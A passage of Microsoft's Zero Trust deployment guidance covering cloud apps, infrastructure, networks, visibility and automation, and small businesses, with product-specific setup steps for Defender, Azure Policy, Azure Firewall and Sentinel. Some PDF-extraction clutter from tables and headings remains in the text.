c. Manage discovered apps using Microsoft Entra Gallery. For apps that already
appear in the Microsoft Entra Gallery, apply single sign-on and manage the app
with Microsoft Entra ID. To do so, on the row where the relevant app appears,
choose the three dots at the end of the row, and then choose Manage app with
Microsoft Entra ID.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for your network .
III. Protect sensitive information and activities

automatically by implementing policies
Defender for Cloud Apps enables you to define the way you want users to behave in the
cloud. This can be done by creating policies. There are many types: Access, activity,
anomaly detection, app discovery, file policy, cloud discovery anomaly detection, and
session policies.
Policies allow you to detect risky behavior, violations, or suspicious data points and
activities in your cloud environment. They help you monitor trends, see security threats,
and generate customized report and alerts.
Follow these steps:
1. Use out-of-the box policies that have already been tested for many activities and
files. Apply governance actions such as revoking permissions and suspending
users, quarantining files, and applying sensitivity labels.
2. Build new policies that Microsoft Defender for Cloud Apps suggests for you.
3. Configure policies to monitor shadow IT apps and provide control:
a. Create an app discovery policy that lets you know when there is a spike in
downloads or traffic from an app you're concerned about. Enable Anomalous
behavior in discovered users' policy, Cloud storage app compliance check,
and New risky app.
b. Keep updating policies, and using the Cloud Discovery dashboard, check what
(new) apps your users are using, as well as their usage and behavior patterns.
4. Control what's sanctioned and block undesirable apps using this option:
a. Connect apps via API for continuous monitoring.
5. Protect apps using Conditional Access App Control and Microsoft Defender for
Cloud Apps .
ﾉ Expand table
IV. Deploy adaptive access and session controls for all

apps
objectives such as ensuring that all apps are using least-privileged access with
continuous verification. Dynamically adapting and restricting access as session risk
changes will enable you to stop breaches and leaks in real time, before employees put
your data and your organization at risk.
Take this step:
Enable real-time monitoring and control over access to any web app, based on
user, location, device, and app. For example, you can create policies to protect
downloads of sensitive content with sensitivity labels when using any unmanaged
device. Alternatively, files can be scanned on upload to detect potential malware
and block them from entering sensitive cloud environment.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for endpoints .
V. Strengthen protection against cyber threats and rogue

apps
Bad actors have developed dedicated and unique attack tools, techniques, and
procedures (TTPs) that target the cloud to breach defenses and access sensitive and
business-critical information. They use tactics such as illicit OAuth consent grants, cloud
ransomware, and compromising credentials for cloud identity.
Organizations can respond to such threats with tools available in Defender for Cloud
Apps, such as user and entity behavioral analytics (UEBA) and anomaly detection,
malware protection, OAuth app protection, incident investigation, and remediation.
Defender for Cloud Apps targets numerous security anomalies out of the box, such as
impossible travel, suspicious inbox rules, and ransomware.
The different detections are developed with security operations teams in mind and aim
to focus the alerts on true indicators of compromise, while unlocking threat intelligence-
driven investigation and remediation.
Follow these steps:
Take advantage of the Defender for Cloud Apps UEBA and machine learning (ML)
capabilities that are automatically enabled out-of-the-box to immediately detect
threats and run advanced threat detection across your cloud environment.
Tune and scope anomaly detection policies.
VI. Assess the security posture of your cloud

environments
Beyond SaaS applications, organizations are heavily invested in IaaS and PaaS services.
Defender for Cloud Apps enables your organization to assess and strengthen your
security posture and capabilities for these services by getting visibility into the security
configuration and compliance status across your public cloud platforms. This enables a
risk-based investigation of the entire platform configuration status.
Follow these steps:
1. Use Defender for Cloud Apps to monitor resources, subscriptions,

recommendations, and corresponding severities across your cloud environments.
2. Limit the risk of a security breach by keeping cloud platforms, such as Microsoft
Azure, AWS and GCP, compliant with your organizational configuration policy and
regulatory compliance, following CIS benchmark, or the vendor's best practices for
the security configuration.
3. Using Defender for Cloud Apps, the security configuration dashboard can be used
to drive remediation actions to minimize the risk.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for your
infrastructure .

Microsoft Azure
Microsoft Entra ID
Microsoft 365
Cloud Discovery
Microsoft Endpoint Manager (includes Microsoft Intune and Configuration Manager)
Mobile Application Management
Conclusion
Regardless of where the cloud resource or application resides, Zero Trust principles help
ensure that your cloud environments and data are protected. For further information on
these processes or help with these implementations, please contact your Customer
Success team.

Feedback
Secure infrastructure with Zero Trust
Article • 04/30/2024
Infrastructure represents a critical threat vector. IT Infrastructure, whether on-premises

or multicloud, is defined as all the hardware (physical, virtual, containerized), software
(open source, first- and third-party, PaaS, SaaS), micro-services (functions, APIs),
networking infrastructure, facilities, and so on, that is required to develop, test, deliver,
monitor, control, or support IT services. It's an area where Microsoft has invested
tremendous resources to develop a comprehensive set of capabilities to secure your
future cloud and on-premises infrastructure.
Modern security with an end-to-end Zero Trust strategy makes it easier for you to:
Assess for version.

Perform configuration management.
Employ Just-In-Time and Just-Enough-Access (JIT/JEA) administrative privileges to
harden defenses.
Use telemetry to detect attacks and anomalies.
Automatically block and flag risky behavior and take protective actions.
Just as importantly, Microsoft Azure Blueprints and related capabilities ensure that
resources are designed, implemented, and sustained in ways that conform to an
organization's policies, standards, and requirements.
Azure Blueprints, Azure Policies, Microsoft Defender for Cloud, Microsoft Sentinel, and
Azure Sphere can greatly contribute to improving the security of your deployed
infrastructure. Together, they enable a different approach to defining, designing,
provisioning, deploying, and monitoring your infrastructure.
Infrastructure Zero Trust deployment objectives
 Tip
Before most organizations start the Zero Trust journey, their approach to
infrastructure security is characterized by the following:
Permissions are managed manually across environments.

Configuration management of VMs and servers on which workloads are
running.
ﾉ Expand table
When implementing an end-to-end Zero Trust framework for managing and monitoring your
infrastructure, we recommend you focus first on these initial deployment objectives:
I. Workloads are monitored and alerted to abnormal behavior.
II. Every workload is assigned an app identity—and configured and deployed

consistently.
III. Human access to resources requires Just-In-Time.

After the initial objectives are completed, focus on these additional deployment objectives:
IV. Unauthorized deployments are blocked, and alert is triggered.
V. Granular visibility and access control are available across workloads.
VI. User and resource access segmented for each workload.
Infrastructure Zero Trust deployment guide

This guide walks you through the steps required to secure your infrastructure following
the principles of a Zero Trust security framework.
Before you get started, ensure you've met these baseline infrastructure deployment
objectives.
Setting the Microsoft Tenant Baseline
A prioritized baseline should be set for how your Infrastructure is managed.

Applying industry guidance such as NIST 800-53, you can derive a set of
requirements for managing your infrastructure. At Microsoft, we have set a minimal
baseline to the following list of requirements:
Access to data, networks, services, utilities, tools, and applications must be

controlled by authentication and authorization mechanisms.
Data must be encrypted in transit and at rest.
Restrict network traffic flows.
Security team visibility into all assets.
Monitoring and auditing must be enabled and correctly configured according

to prescribed organizational guidance.
Anti-malware must be up to date and running.
Vulnerability scans must be performed, and vulnerabilities remediated,

according to prescribed organizational guidance.
In order to measure and drive compliance to this minimal—or our expanded—

baseline, we start with getting visibility at the Tenant level, and across your on-
premises environments, by applying a Security Reader role across the Azure Tenant.
With the Security Reader role in place, it can gain further visibility through
Microsoft Defender for Cloud and Azure Policies that can be used to apply industry
baselines (for example, Azure CIS, PCI, ISO 27001) or a custom baseline that your
organization has defined.
Permissions are managed manually across environments

From the tenant level down to the individual resources within each resource group ad
subscription, appropriate role-based access controls must be applied.
 Tip
Configuration management of VMS and servers on which

workloads are running
Just as we've managed our on-prem data center environment, we must also ensure that
we're effectively managing our cloud resources. The benefit of leveraging Azure is the
ability to manage all your VMs from one platform using Azure Arc (preview). Using
Azure Arc, you can extend your Security Baselines from Azure Policy, your Microsoft
Defender for Cloud policies, and Secure Score evaluations, as well as logging and
monitoring all your resources in one place. Below are some actions for getting started.
Implement Azure Arc (preview)
Azure Arc allows organizations to extend the familiar security controls of Azure to on-
premises and the edge of the organization's infrastructure. Administrators have several
options for connecting on-premises resources to Azure Arc. These include Azure portal,
PowerShell, and Windows Installation with Service Principal scripting.
Learn more about these techniques.
Apply security baselines through Azure Policy, including

application of in-guest policies
By enabling Defender for Cloud, you'll be able to incorporate a set of baseline controls
through Azure Policy's built-in policy definitions for Microsoft Defender for Cloud. The
set of baseline policies will be reflected in the Defender for Cloud secure score, where
you can measure your compliance with those policies.
You can extend your coverage of policies beyond the Defender for Cloud set and create
custom policies if a built-in isn't available. You can also incorporate Guest Configuration
policies, which measure compliance inside your guest VMs within your subscriptions.
Apply Defender for Cloud Endpoint Protection and Vulnerability

Management controls
Endpoint protection is essential to ensuring infrastructure remains secure and available.

As part of any strategy for endpoint protection and vulnerability management, you'll be
able to measure compliance centrally to ensure malware protection is enabled and
configured through the Endpoint protection assessment and recommendations in
Microsoft Defender for Cloud.
Centralized visibility of your baseline across multiple subscriptions
By applying the tenant reader roll, you can get visibility across your tenant of the
status of each of the policies that are being evaluated as part of the Defender for
Cloud secure score, Azure Policy, and Guest Config policies. You funnel that to your
organizational compliance dashboard for central reporting of the state of your
tenant.
Additionally, as part of Defender for Servers, you can use the policy Enable the built-in
vulnerability assessment solution on virtual machines (powered by Qualys) to scan your
VMs for vulnerabilities, and have those reflected directly in Defender for Cloud. If you
already have a Vulnerability scanning solution deployed in your enterprise, you can use
the alternate policy Vulnerability assessment solution, which should be installed on your
virtual machines for Deploying a partner vulnerability scanning solution.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for endpoints .
ﾉ Expand table

Once you've met the baseline infrastructure objectives, you can focus on implementing
a modern infrastructure with an end-to-end Zero Trust strategy.
I. Workloads are monitored and alerted to abnormal

behavior
When you create new infrastructure, you need to ensure that you also establish rules for
monitoring and raising alerts. This is key for identifying when a resource is displaying
unexpected behavior.
We recommend enabling Microsoft Defender for Cloud and its plans to protect the
supported resource types, including Defender for Servers, Defender for Storage,
Defender for Containers, Defender for SQL, etc.
For monitoring identities, we recommend enabling Microsoft Defender for Identity and
Advanced Threat Analytics in order to enable signal collection to identify, detect, and
investigate advanced threats, compromised identities, and malicious insider actions
directed at your organization.
Integrating these signals from Defender for Cloud, Defender for Identity, Advanced
Threat Analytics, and other monitoring and auditing systems with Microsoft Sentinel, a
cloud-native, security information event management (SIEM) and security orchestration
automated response (SOAR) solution, will allow your Security Operations Center (SOC)
to work from a single pane of glass to monitor security events across your enterprise.
 Tip
II. Every workload is assigned an app identity—and

configured and deployed consistently
We recommend you use a policy that is assigned and enforced when creating
resources/workloads. Policies can require tags be to applied to a resource upon
creation, mandate resource group assignment, and restrict/direct technical
characteristics, such as regions allowed, VM specifications (for example, VM type, disks,
network policies applied).
 Tip
III. Human access to resources requires Just-In-Time

Personnel should use administrative access sparingly. When administrative functions are
required, users should receive temporary administrative access.
Organizations should establish a Protect the Administrator program. Characteristics of

these programs include:
Targeted reduction in the number of users with administrative permissions.

Auditing elevated permission accounts and roles.
Creating special High-Value Asset (HVA) infrastructure zones to reduce surface
area.
Giving administrators special Secure Admin Workstations (SAWs) to reduce the
likelihood of credential theft.
All of these items help an organization become more aware of how administrative
permissions are being used, where these permissions are still necessary, and provide a
roadmap for how to operate more securely.
ﾉ Expand table
objectives such as blocking unauthorized deployments.
IV. Unauthorized deployments are blocked, and alert is

triggered
When organizations move to the cloud, the possibilities are limitless. That's not always a
good thing. For various reasons, organizations need to be able to block unauthorized
deployments and trigger alerts to make leaders and managers aware of the issues.
Microsoft Azure offers Azure Blueprints to govern how resources are deployed, ensuring
that only approved resources (for example, ARM templates) can be deployed. Blueprints
can ensure that resources which do not meet the Blueprint's policies or other rules are
blocked from deployment. Actual or attempted Blueprint violation can raise alerts as
needed and make notifications, activate webhooks or automation runbooks, or even
create service management tickets.
V. Granular visibility and access control are available

across workloads
Microsoft Azure offers a variety of methods to achieve resource visibility . From the
Azure Portal, resource owners can set up many metric and log collection and analysis
capabilities. This visibility can be used not only to feed security operations but can also
to support computing efficiency and organizational objectives. These include capabilities
like Virtual Machine Scale Sets, which allow for the secure and efficient scaling out and
scaling in of resources based on metrics.
On the access control side, Role-Based Access Control (RBAC) can be employed to
assign permissions to resources. This allows permissions to be assigned and revoked
uniformly at the individual and group levels by using a variety of built-in or custom
roles.
VI. User and resource access segmented for each

workload
Microsoft Azure offers many ways to segment workloads to manage user and resource
access. Network segmentation is the overall approach, and, within Azure, resources can
be isolated at the subscription level with Virtual networks (VNets), VNet peering rules,
Network Security Groups (NSGs), Application Security Groups (ASGs), and Azure
Firewalls. There are several design patterns to determine the best approach to
segmenting workloads.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for your network .

Microsoft Azure
Azure Blueprints
Azure Policy
Azure Arc
Microsoft Defender for Cloud
Microsoft Sentinel
Azure Resource Manager (ARM) templates
Conclusion
Infrastructure is central to a successful Zero Trust strategy. For further information or
help with implementation, please contact your Customer Success team, or continue to
read through the other chapters of this guide, which spans all Zero Trust pillars.

Feedback
Secure networks with Zero Trust
Article • 04/12/2024
Big data presents new opportunities to derive new insights and gain a competitive edge.
We are moving away from an era where networks were clearly defined and usually
specific to a certain location. The cloud, mobile devices, and other endpoints expand
the boundaries and change the paradigm. Now there isn't necessarily a
contained/defined network to secure. Instead, there is a vast portfolio of devices and
networks, all linked by the cloud.
Instead of believing everything behind the corporate firewall is safe, an end-to-end Zero
Trust strategy assumes breaches are inevitable. That means you must verify each request
as if it originates from an uncontrolled network—identity management plays a crucial
role in this.
In the Zero Trust model, there are three key objectives when it comes to securing your
networks:
Be ready to handle attacks before they happen.
Minimize the extent of the damage and how fast it spreads.
Increase the difficulty of compromising your cloud footprint.
To make this happen, we follow three Zero Trust principles:
Use least-privileged access. Limit user access with Just-In-Time and Just-Enough-
Access (JIT/JEA), risk-based adaptive polices, and data protection to protect both
data and productivity.
Assume breach. Minimize blast radius for breaches and prevent lateral movement
by segmenting access by network, user, devices, and application awareness. Verify
all sessions are encrypted end to end. Use analytics to get visibility , drive threat
Network Zero Trust deployment objectives
Before most organizations start their Zero Trust journey, they have network
security that is characterized by the following:
Few network security perimeters and open, flat networks.
Minimal threat protection and static traffic filtering.
Unencrypted internal traffic.
ﾉ Expand table
When implementing an end-to-end Zero Trust framework for securing networks, we recommend
you focus first on these initial deployment objectives:
I. Network segmentation: Many ingress/egress cloud micro-perimeters with some micro-

segmentation.
II. Threat protection: Cloud native filtering and protection for known threats.
III. Encryption: User-to-app internal traffic is encrypted.
IV. Network segmentation: Fully distributed ingress/egress cloud micro-perimeters and

deeper micro-segmentation.
V. Threat protection: Machine learning-based threat protection and filtering with context-
based signals.
VI. Encryption: All traffic is encrypted.
VII. Discontinue legacy network security technology.
Networking Zero Trust deployment guide

This guide will walk you through the steps required to secure your networks following
the principles of a Zero Trust security framework.
ﾉ Expand table
I. Network segmentation: Many ingress/egress cloud

micro-perimeters with some micro-segmentation
Organizations should not just have one single, big pipe in and out of their network. In a
Zero Trust approach, networks are instead segmented into smaller islands where specific
workloads are contained. Each segment has its own ingress and egress controls to
minimize the "blast radius" of unauthorized access to data. By implementing software-
defined perimeters with granular controls, you increase the difficulty for unauthorized
actors to propagate throughout your network, and so reduce the lateral movement of
threats.
There is no architecture design that fits the needs of all organizations. You have the
option between a few common design patterns for segmenting your network
according to the Zero Trust model.
In this deployment guide, we'll walk you through the steps to achieve one of those
designs: Micro-segmentation.
With micro-segmentation, organizations can move beyond simple centralized network-

based perimeters to comprehensive and distributed segmentation using software-
defined micro-perimeters.
Applications are partitioned to different Azure Virtual Networks

(VNets) and connected using a hub-spoke model
Follow these steps:
1. Create dedicated virtual networks for different applications and/or application

components.
2. Create a central VNet to set up the security posture for inter-app connectivity and
connect the app VNets in a hub-and-spoke architecture.
3. Deploy Azure Firewall in the hub VNet to inspect and govern traffic between the
VNets.
II. Threat protection: Cloud native filtering and protection

for known threats
Cloud applications that have opened up endpoints to external environments, such as
the internet or your on-premises footprint, are at risk of attacks coming in from those
environments. It is therefore imperative that you scan the traffic for malicious payloads
or logic.
These types of threats fall into two broad categories:
Known attacks. Threats that have been discovered by your software provider or
the larger community. In such cases, the attack signature is available and you need
to ensure that each request is checked against those signatures. The key is to be
able to quickly update your detection engine with any newly identified attacks.
Unknown attacks. These are threats that don't quite match against any known
signature. These types of threats include zero-day vulnerabilities and unusual
patterns in request traffic. The ability to detect such attacks depends on how well
your defenses know what's normal and what is not. Your defenses should be
constantly learning and updating such patterns as your business (and associated
traffic) evolves.
Take these steps to protect against known threats:
1. For endpoints with HTTP/S traffic, protect using Azure Web Application Firewall
(WAF) by:
a. Turning on the default ruleset or OWASP top 10 protection ruleset to protect

against known web-layer attacks
b. Turning on the bot protection ruleset to prevent malicious bots from scraping
information, conducting credential stuffing, etc.
c. Adding custom rules to protect against threats specific to your business.
You can use one of two options:
Azure Front Door
a. Create a Web Application Firewall policy on Azure Front Door.
b. Configure bot protection for Web Application Firewall.
c. Custom rules for Web Application Firewall.
Azure Application Gateway
a. Create an application gateway with a Web Application Firewall.
b. Configure bot protection for Web Application Firewall.
c. Create and use Web Application Firewall v2 custom rules..
2. For all endpoints (HTTP or not), front with Azure Firewall for threat intelligence-
based filtering at Layer 4:
a. Deploy and configure Azure Firewall using the Azure portal.
b. Enable threat intelligence-based filtering for your traffic.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for

endpoints .
III. Encryption: User-to-app internal traffic is encrypted
The third initial objective to focus on is adding encryption to ensure user-to-app internal
traffic is encrypted.
Follow these steps:
1. Enforce HTTPS-only communication for your internet facing web applications by

redirecting HTTP traffic to HTTPS using Azure Front Door.
2. Connect remote employees/partners to Microsoft Azure using the Azure VPN

Gateway.
a. Turn on encryption for any point-to-site traffic in Azure VPN Gateway service.
3. Access your Azure virtual machines securely using encrypted communication via
Azure Bastion.
a. Connect using SSH to a Linux virtual machine.
b. Connect using RDP to a Windows virtual machine.
 Tip
ﾉ Expand table
IV. Network segmentation: Fully distributed

ingress/egress cloud micro-perimeters and deeper micro-
segmentation
Once you've accomplished your initial three objectives, the next step is to further
segment your network.
Partition app components to different subnets
Follow these steps:
1. Within the VNet, add virtual network subnets so that discrete components of an
application can have their own perimeters.
2. Apply network security group rules to allow traffic only from the subnets that have
an app subcomponent identified as a legitimate communications counterpart.
Segment and enforce the external boundaries

Follow these steps, depending on the type of boundary:
Internet boundary
1. If internet connectivity is required for your application that needs to be routed via
the hub VNet, update the network security group rules in hub VNet to allow
internet connectivity.
2. Turn on Azure DDoS Protection Standard to protect the hub VNet from volumetric
network layer attacks.
3. If your application uses HTTP/S protocols, turn on Azure Web Application Firewall
to protect against Layer 7 threats.
On-premises boundary
1. If your app needs connectivity to your on-premise data center, use Azure
ExpressRoute of Azure VPN for connectivity to your hub VNet.
2. Configure the Azure Firewall in the hub VNet to inspect and govern traffic.
PaaS services boundary

When using Azure-provided PaaS services (e.g., Azure Storage, Azure Cosmos DB,
or Azure Web App, use the PrivateLink connectivity option to ensure all data
exchanges are over the private IP space and the traffic never leaves the Microsoft
network.
 Tip
V. Threat protection: Machine learning-based threat

protection and filtering with context-based signals
For further threat protection, turn on Azure DDoS Protection Standard to constantly
monitor your Azure-hosted application traffic, use ML-based frameworks to baseline
and detect volumetric traffic floods, and apply automatic mitigations.
Follow these steps:
1. Configure and manage Azure DDoS Protection Standard.
2. Configure alerts for DDoS protection metrics.
VI. Encryption: All traffic is encrypted

Finally, complete your network protection by ensuring that all traffic is encrypted.
Follow these steps:
1. Encrypt application backend traffic between virtual networks.
2. Encrypt traffic between on-premises and cloud:
a. Configure a site-to-site VPN over ExpressRoute Microsoft peering.
b. Configure IPsec transport mode for ExpressRoute private peering.
VII. Discontinue legacy network security technology

Discontinue the use of signature-based Network Intrusion Detection/Network Intrusion
Prevention (NIDS/NIPS) Systems and Network Data Leakage/Loss Prevention (DLP).
The major cloud service providers already filter for malformed packets and common
network layer attacks, so there's no need for a NIDS/NIPS solution to detect those. In
addition, traditional NIDS/NIPS solutions are typically driven by signature-based
approaches (which are considered outdated) and are easily evaded by attackers and
typically produce a high rate of false positives.
Network-based DLP is decreasingly effective at identifying both inadvertent and

deliberate data loss. The reason for this is that most modern protocols and attackers use
network-level encryption for inbound and outbound communications. The only viable
workaround for this is "SSL-bridging" which provides an "authorized man-in-the-
middle" that terminates and then reestablishes encrypted network connections. The
SSL-bridging approach has fallen out of favor because of the level of trust required for
the partner running the solution and the technologies that are being used.
Based on this rationale, we offer an all-up recommendation that you discontinue use of
these legacy network security technologies. However, if your organizational experience
is that these technologies have had a palpable impact on preventing and detecting real
attacks, you can consider porting them to your cloud environment.

Microsoft Azure
Azure Networking
Virtual Networks and Subnets
Network Security Groups and Application Security Groups
Azure Firewall
Azure DDoS Protection
Azure Web Application Firewall
Azure VPN Gateway
Azure ExpressRoute
Azure Network Watcher
Conclusion
Securing networks is central to a successful Zero Trust strategy. For further information
or help with implementation, please contact your Customer Success team or continue to
read through the other chapters of this guide, which spans all Zero Trust pillars.
Feedback
with Zero Trust
Article • 04/12/2024
One of the significant changes in perspectives that is a hallmark of a Zero Trust security
frameworks is moving away from trust-by-default toward trust-by-exception. However,
you need some reliable way to establish trust once trust is needed. Since you no longer
assume that requests are trustworthy, establishing a means to attest to the
trustworthiness of the request is critical to proving its point-in-time trustworthiness. This
attestation requires the ability to gain visibility into the activities on and around the
request.
In our other Zero Trust guides, we defined the approach to implementing an end-to-end
Zero Trust approach across identities , endpoints and devices, data , apps ,
infrastructure , and network . All these investments increase your visibility, which
gives you better data for making trust decisions. However, by adopting a Zero Trust
approach in these six areas, you necessarily increase the number of incidents Security
Operation Centers (SOC) analysts need to mitigate. Your analysts become busier than
ever, at a time when there's already a talent shortage. This can lead to chronic alert
fatigue and analysts missing critical alerts.
With each of these individual areas generating their own relevant alerts, we need an
integrated capability to manage the resulting influx of data to better defend against
threats and validate trust in a transaction.
You want the ability to:
Detect threats and vulnerabilities.

Investigate.
Respond.
Hunt.
Provide additional context through threat analytics.
Assess vulnerabilities.
Get help from world class experts
Prevent or block events from happening across the pillars.
Managing threats includes reactive as well as proactive detection and requires tools that
support both.
Reactive detection is when incidents are triggered from one of the six pillars that can be
investigated. Additionally, a management product like a SIEM will likely support another
layer of analytics that will enrich and correlate data, resulting in flagging an incident as
bad. The next step would then be to investigate to get the full narrative of the attack.
Proactive detection is when you apply hunting to the data to prove a compromised
hypothesis. Threat hunting starts with the assumption you have been breached--you
hunt for proof that there's indeed a breach.
Threat hunting starts with a hypothesis based on current threats, such as COVID-19
phishing attacks. Analysts start with this hypothetical threat, identify the key indicators
of compromise, and hunt through the data to see if there's proof that the environment
has been compromised. If indicators exist, hunting scenarios might result in analytics
that would notify the organizations if the certain indicators occurs again.
Either way, once an incident is detected, you need to investigate it to build out the
complete story of the attack. What else did the user do? What other systems were
involved? What executables were run?
If an investigation results in actionable learnings, you can take remediation steps. For
example, if an investigation uncovers gaps in a zero trust deployment, policies can be
modified to address these gaps and prevent future unwanted incidents. Whenever
possible it is desirable to automate remediation steps, because it reduces the time it
takes for a SOC analyst to address the threat and move onto the next incident.
Another key component in the assessment of threats is incorporating known threat

intelligence against the ingested data. If an IP, hash, URL, file, executable, etc. are known
to be bad, they can be identified, investigated, and remediated.
In the infrastructure pillar, time was spent on addressing vulnerabilities. If a system is
known to be vulnerable and a threat took advantage of that vulnerability, this is
something that could be detected, investigated, and remediated.
In order to use these tactics to manage threats, you should have a central console to
allow SOC administrators to detect, investigate, remediate, hunt, utilize threat
intelligence, understand known vulnerabilities, lean on threat experts and block threats
across any of the six pillars. The tools needed to support these phases work best if
converged into a single workflow, providing a seamless experience that increases the
effectiveness of the SOC analyst.
Security Operation Centers often deploy a combination of SIEM and SOAR technologies
to collect, detect, investigate, and respond to threats. Microsoft offers Microsoft Sentinel
as its SIEM-as-a-service offering. Microsoft Sentinel ingests all Microsoft Defender for
Identity and third-party data.
Microsoft Threat Protection (MTP), a key feed into Microsoft Sentinel, provides a unified
enterprise defense suite that brings context-aware protection, detection, and response
across all Microsoft 365 components. By being context- aware and coordinated,
customers using Microsoft 365 can gain visibility and protection across endpoints,
collaboration tools, identities, and applications.
It is through this hierarchy that we enable our customers to maximize their focus.
Though context-awareness and automated remediation, MTP can detect and stop many
threats without adding additional alert-fatigue to already overloaded SOC personnel.
Advanced hunting inside of MTP brings that context to the hunt to focus on many key
attack points. And hunting and orchestration across the entire ecosystem through
Microsoft Sentinel provides the ability to gain the right visibility into all aspects of a
heterogeneous environment, all while minimizing the cognitive overload of the
operator.
Visibility, automation, and orchestration Zero

Trust deployment objectives
ﾉ Expand table
When implementing an end-to-end Zero Trust framework for visibility, automation, and
orchestration, we recommend you focus first on these initial deployment objectives:
I. Establish visibility.
II. Enable automation.

III. Enable additional protection and detection controls.

Trust deployment guide
This guide will walk you through the steps required to manage visibility, automation,
and orchestration following the principles of a Zero Trust security framework.
ﾉ Expand table
I. Establish visibility
The first step is to establish visibility by enabling Microsoft Threat Protection (MTP).
Follow these steps:
1. Sign up for one of the Microsoft Threat Protection workloads.

2. Enable the workloads and establish connectivity.
3. Configure detection on your devices and infrastructure to bring immediate
visibility into activities going on in the environment. This gives you the all-
important "dial tone" to start the flow of critical data.
4. Enable Microsoft Threat Protection to gain cross-workload visibility and incident
detection.
II. Enable automation

The next key step, once you have established visibility, is to enable automation.
Automated investigations and remediation

With Microsoft Threat Protection, we have automated both investigations and
remediation, which essentially provides an extra Tier 1 SOC analysis.
Automated Investigation and Remediation (AIR) can be enabled gradually, so that you
can develop a comfort level with the actions that are taken.
Follow these steps:
1. Enable AIR for a test group.

2. Analyze the investigation steps and response actions.
3. Gradually transition to automatic approval for all devices to reduce the time to
detection and response.
Link Microsoft data connectors and relevant third-party products

to Microsoft Sentinel
In order to gain visibility into the incidents that result from deploying a Zero Trust
model, it is important to connect MTP, other Microsoft data connectors, and relevant
third party products to Microsoft Sentinel in order to provide a centralized platform
for incident investigation and response.
As part of the data connection process, relevant analytics can be enabled to trigger
incidents and workbooks can be created for a graphical representation of the data over
time.
Link threat intelligence data to Microsoft Sentinel
Although machine learning and fusion analytics are provided out of the box, it is also
beneficial to ingest threat intelligence data into Microsoft Sentinel to help identify
events that relate to known bad entities.
ﾉ Expand table
III. Enable additional protection and detection controls

Enabling additional controls improves the signal coming in to MTP and Sentinel to
improve your visibility and ability to orchestrate responses.
Attack surface reduction controls represent one such opportunity. These protective
controls not only block certain activities that are most associated with malware, but also
give into attempts to use specific approaches, which can help to detect adversaries
leveraging these techniques earlier in the process.

Microsoft Azure
Microsoft Sentinel
Microsoft 365
Microsoft Threat Protection

Feedback
Small business Zero Trust guidance
Article • 04/12/2024
This article describes Zero Trust deployment guidance and resources for customers and
partners working with Microsoft 365 Business Premium and other technologies
commonly used by small- to medium-sized business customers. These resources help
you realize the principles of Zero Trust:
ﾉ Expand table
Verify explicitly Use least privilege access Assume breach
Always authenticate and Provide users with only the Do what you can to prevent
authorize with identity and access they need and for the attacks, protect against
device access policies. time they need it to perform threats, and then be ready to
their tasks. respond.
This article also includes information and resources for Microsoft partners.
Configuration guidance for Microsoft 365

Business Premium
Microsoft 365 Business Premium is a comprehensive cloud productivity and security
solution designed especially for small and medium sized businesses. This guidance
applies the principles of Zero Trust in an end-to-end configuration process using the
capabilities provided in Microsoft 365 Business Premium.
ﾉ Expand table
Cybersecurity playbook Description
In this library:
Downloadable poster that guides
you through the process of
configuring Microsoft 365 Business
Premium for Zero Trust.
Guidance for small and medium-sized
businesses who aren’t security experts
and need some help getting started.
Steps to secure unmanaged (bring
your own device, or BYOD) and
managed devices.
Cybersecurity playbook Description
Recommendations and best practices

for all employees, including tenant
admins and security operations.
See the following resources:
Microsoft 365 Business Premium - Productivity and cybersecurity for small

business
Microsoft 365 Business Premium resources for partners and small business
ﾉ Expand table
Zero Trust Met by

principle
Verify Multifactor authentication (MFA) is turned on by using security defaults (or with
explicitly Conditional Access). This configuration requires users to register for MFA. It also
disables access through legacy authentication (devices that don’t support modern
authentication) and requires admins to authenticate every time they sign in.
Use least Guidance is provided for protecting administrative accounts and not using these
privileged accounts for user tasks.
access
Assume Protection against malware and other cybersecurity threats is increased by using
breach preset security policies. Guidance is provided for training your team to set up
unmanaged (bring-your-own-device, or BYOD) devices, use email securely, and
collaborate and share more securely. Additional guidance is provided to secure
managed devices (devices that your organization owns).
Additional threat protection

Microsoft 365 Business Premium includes Microsoft Defender for Business, which
provides comprehensive security for devices with a simplified configuration experience.
Optimized for small and medium-sized businesses, capabilities include threat &
vulnerability management, next-generation protection (antivirus and firewall),
automated investigation & remediation, and more.
Microsoft 365 Business Premium also includes advanced anti-phishing, anti-spam, and
anti-malware protection for email content and Office files (Safe Links and Safe
Attachments) with Microsoft Defender for Office 365 Plan 1. With these capabilities, your
email and collaboration content is more secure and better protected.
See the following resources:
What is Microsoft Defender for Business?

Microsoft Defender for Office 365 Plan 1
ﾉ Expand table
Zero Trust Met by

principle
Verify explicitly Devices that access company data must meet security requirements.
Use least Guidance is provided for using roles to assign permissions and security
privileged access policies to prevent unauthorized access.
Assume breach Advanced protection is provided for devices, email, and collaboration
content. Remediation actions are taken when threats are detected.
Partner guidance and tools

If you’re a Microsoft partner, several resources are available to help you manage security
for your business customers. These resources include learning paths, guidance, and
integration.
The Solutions Partner for Security designation enables customers to identify you as a
partner they can trust for integrated security, compliance, and identity solutions. See
Solutions Partner for Security Learning Path (Microsoft Partner Center) .
Guidance is available to help customers review permissions and administrative access

granted to partners. Guidance is also available to help Microsoft Managed Security
Service Providers (MSSPs) integrate with their business customers’ tenants. See the
following articles:
Review partner administrative privileges

Configure managed security service provider integration
Resources are available to help you as a Microsoft partner to manage your customers’
security settings, and to help protect their devices and data. Microsoft 365 Lighthouse
integrates with Microsoft 365 Business Premium, Microsoft Defender for Business, and
Microsoft Defender for Endpoint.
The Defender for Endpoint APIs can be used to integrate device security capabilities in
Microsoft 365 Business Premium with remote monitoring and management (RMM) tools
and professional service automation (PSA) software. See the following articles:
Integrate Microsoft endpoint security with your RMM tools and PSA software
Use Microsoft 365 Lighthouse to secure and manage your customers’ devices and
data
Help for partners (general information and support)
ﾉ Expand table
Zero Trust Met by

principle
Verify explicitly Partner resources are available to help Microsoft partners configure and
manage their customers’ identity and access methods and policies.
Use least Partners can configure integration with customer tenants. Customers can
privileged access review permissions and administrative access granted to partners.
Assume breach Microsoft 365 Lighthouse integrates with Microsoft threat protection
capabilities for small and medium-sized businesses.
Protect other SaaS apps you or your customers

use
You or your small business customers likely use other Software as a Service (SaaS)
applications, such as Salesforce, Adobe Creative Cloud, and DocuSign. You can integrate
